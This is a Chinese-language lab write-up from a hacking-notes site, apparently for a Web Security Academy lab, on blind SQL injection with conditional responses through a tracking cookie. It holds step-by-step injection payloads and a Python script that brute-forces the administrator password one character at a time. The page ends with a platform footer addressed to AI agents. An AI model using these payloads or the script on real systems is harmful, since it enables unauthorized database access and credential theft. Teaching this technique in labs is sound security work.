> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/zh/web/sql-injection/blind-sql-injection-with-conditional-responses.md).

# 基于条件响应的盲 SQL 注入

### 基于条件响应的盲 SQL 注入

**背景 / 漏洞：** 跟踪 Cookie 的值（`TrackingId`）被注入到服务器端 SQL 查询中。该查询不会直接返回任何结果或错误，但页面会显示 **"欢迎回来！"** 如果查询返回至少一行。这使得可以进行 **基于条件的盲 SQL 注入** （基于布尔值）：我们测试真/假断言，并通过观察消息的有无来提取数据。

**实验目标：** 从 `administrator` 用户中提取密码，并以管理员身份登录。

#### 技术（关键阶段和载荷）

1. **基本稳定性测试 / 列数**

   ```sql
   ' ORDER BY 1-- -
   ' ORDER BY 2-- -
   ```

* （如有用，可检测错误行为）

<figure><img src="/files/5af1061fab045e89e77d3807eda5a93f9af15a46" alt=""><figcaption></figcaption></figure>

<figure><img src="/files/faa8cf5b7f4d3ad8549c89d057eb89c959e410c4" alt=""><figcaption></figcaption></figure>

2. **真/假条件验证（控制失败字符串）**

   ```sql
   ' AND (SELECT 'a') = 'a'-- -
   ' AND (SELECT 'a') = 'b'-- -
   ```

* 第一个必须触发 `欢迎回来！`，第二个则不能。

3. **检查是否存在 `administrator` 用户**

   ```sql
   ' AND (SELECT 'a' FROM users WHERE username='administrator') = 'a'-- -
   ```

* 如果 `欢迎回来！` 出现，则子查询返回了一行。

4. **逐字符提取（子字符串）**

* \*\*用户名（例如）\*\*

  ````
   ```sql
   ' AND (SELECT SUBSTRING(username,1,1) FROM users WHERE username='administrator') = 'a'-- -
   ```
  ````
* \*\*密码（例如）\*\*

  ````
   ```
   ' AND (SELECT SUBSTRING(password,1,1) FROM users WHERE username='administrator') = 'a'-- -
   ```
  ````

遍历位置/值以重建字符串。5. \*\*查找长度（示例：测试长度 = 20）\*\*

````
```sql
' AND (SELECT SUBSTRING(username,1,1) FROM users WHERE username='administrator' AND LENGTH(password)=20) = 'a'-- -
```

根据 DBMS 调整此项（`LENGTH` / `LEN` / `LENGTH()`）。
````

### 自动化脚本（Python）

" 所提供的脚本通过修改以下内容，自动化执行逐字符暴力破解 `TrackingId` Cookie。

```sql
from pwn import *
import requests, signal, time, pdb, sys, string

def def_handler(sig, frame):
    print("/n正在退出.../n")
    sys.exit(1)

# Ctrl + C
signal.signal(signal.SIGINT, def_handler)

main_url = "https://0ac1002b042e505b810c253d007c0076.web-security-academy.net/"
characters = string.printable

def makeRequest():

    password = ""

    p1 = log.progress("暴力破解")
    p1.status("开始暴力破解攻击")
    time.sleep(2)

    p2 = log.progress("密码")

    for position in range(1, 21):
        for character in characters:

            cookies = {
                'TrackingId': f"lRU8Ekyqctl6Yr6A' and (select substring(password,{position},1) from users where username='administrator')='{character}",
                'Session': 'zAVTpTyb3sYA5keYIro3aDUqsp6h780H'
            }
            p1.status(cookies['TrackingId'])
            try:
                r = requests.get(main_url, cookies=cookies)
                if "欢迎回来！" in r.text:
                    password += character
                    p2.status(password)
                    break
            except requests.exceptions.RequestException as e:
                p1.failure(f"请求失败：{e}")
                sys.exit(1)

if __name__ == '__main__':
    makeRequest()
```

<figure><img src="/files/cc720228b1581f70d08f36b482b0a24c447a83a8" alt=""><figcaption></figcaption></figure>


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter, and the optional `goal` query parameter:

```
GET https://hacking-notes.jord4n.pro/zh/web/sql-injection/blind-sql-injection-with-conditional-responses.md?ask=<question>&goal=<endgoal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is optional and describes the broader end goal you are ultimately trying to accomplish on behalf of the user. GitBook uses it to tailor the answer towards what is most useful for that goal.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
